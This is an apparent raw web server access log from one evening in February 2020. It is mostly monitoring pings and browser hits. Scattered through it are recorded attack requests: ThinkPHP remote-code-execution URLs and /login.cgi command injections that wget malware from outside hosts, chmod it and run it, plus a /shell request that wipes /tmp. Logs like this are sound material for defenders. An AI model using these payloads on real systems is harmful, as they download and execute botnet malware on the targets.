212.91.246.72 - - [09/Feb/2020:21:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.73.176.200 - - [09/Feb/2020:21:39:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
172.104.167.52 - - [09/Feb/2020:21:40:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [09/Feb/2020:21:42:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:21:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.160.150.92 - - [09/Feb/2020:21:45:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.84.13 - - [09/Feb/2020:21:52:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:53:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:54:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.23.53 - - [09/Feb/2020:21:54:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.72.159.254 - - [09/Feb/2020:21:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.112.160.239 - - [09/Feb/2020:21:55:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.91.143.206 - - [09/Feb/2020:21:55:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:55:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.89.195.20 - - [09/Feb/2020:21:55:31 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
58.186.19.147 - - [09/Feb/2020:21:56:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:57:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.33.58.9 - - [09/Feb/2020:21:58:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:58:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:59:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.203.193.47 - - [09/Feb/2020:21:59:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
108.11.30.72 - - [09/Feb/2020:22:00:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:22:00:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.58 - - [09/Feb/2020:22:01:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:01:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.23.96.129 - - [09/Feb/2020:22:01:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
164.52.24.163 - - [09/Feb/2020:22:01:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"
82.209.66.77 - - [09/Feb/2020:22:02:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:22:02:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:03:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.80.54.18 - - [09/Feb/2020:22:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [09/Feb/2020:22:04:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.57.102.229 - - [09/Feb/2020:22:04:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:05:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:06:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:07:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.88.27.34 - - [09/Feb/2020:22:07:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.186.19.221 - - [09/Feb/2020:22:08:17 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [09/Feb/2020:22:08:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [09/Feb/2020:22:09:05 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
171.36.128.249 - - [09/Feb/2020:22:09:19 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/4.01687919 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; Media Center PC 6.0)"
212.91.246.72 - - [09/Feb/2020:22:09:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.106.77.216 - - [09/Feb/2020:22:09:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.242.2.32 - - [09/Feb/2020:22:10:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:10:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:11:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:12:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [09/Feb/2020:22:13:23 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [09/Feb/2020:22:13:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [09/Feb/2020:22:13:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
123.145.8.217 - - [09/Feb/2020:22:14:16 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01678543 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11"
212.91.246.72 - - [09/Feb/2020:22:14:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:15:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:16:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.137.112 - - [09/Feb/2020:22:16:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
222.186.19.221 - - [09/Feb/2020:22:16:32 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
183.81.64.61 - - [09/Feb/2020:22:16:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:17:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.34.85 - - [09/Feb/2020:22:17:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.178.8.198 - - [09/Feb/2020:22:18:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:22:18:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:22:18:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:22:18:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.178.8.198 - - [09/Feb/2020:22:18:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.178.8.198 - - [09/Feb/2020:22:19:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:22:19:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [09/Feb/2020:22:20:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:22:20:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.113.197.251 - - [09/Feb/2020:22:20:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [09/Feb/2020:22:20:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
39.113.197.251 - - [09/Feb/2020:22:20:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
222.186.19.221 - - [09/Feb/2020:22:20:53 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
39.113.197.251 - - [09/Feb/2020:22:21:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
94.177.155.0 - - [09/Feb/2020:22:21:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:22:21:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:22:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.127.133 - - [09/Feb/2020:22:23:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:23:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [09/Feb/2020:22:23:36 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
117.5.213.75 - - [09/Feb/2020:22:23:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:24:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [09/Feb/2020:22:24:45 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [09/Feb/2020:22:25:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [09/Feb/2020:22:25:34 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [09/Feb/2020:22:26:14 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [09/Feb/2020:22:26:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:27:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:28:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.56.46.55 - - [09/Feb/2020:22:29:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:29:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [09/Feb/2020:22:30:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [09/Feb/2020:22:30:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:31:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [09/Feb/2020:22:31:35 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [09/Feb/2020:22:32:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:33:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.65.232 - - [09/Feb/2020:22:33:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:22:34:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:35:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:36:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.36.131.57 - - [09/Feb/2020:22:39:37 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
116.252.0.165 - - [09/Feb/2020:22:39:41 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.88.113.108 - - [09/Feb/2020:22:39:43 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.104.52 - - [09/Feb/2020:22:39:43 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
182.138.137.193 - - [09/Feb/2020:22:39:44 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
111.224.234.70 - - [09/Feb/2020:22:39:44 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.191.143.184 - - [09/Feb/2020:22:39:45 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
171.34.178.115 - - [09/Feb/2020:22:39:45 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
112.80.139.74 - - [09/Feb/2020:22:39:46 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:22:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.87.29.136 - - [09/Feb/2020:22:41:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:22:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:22:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
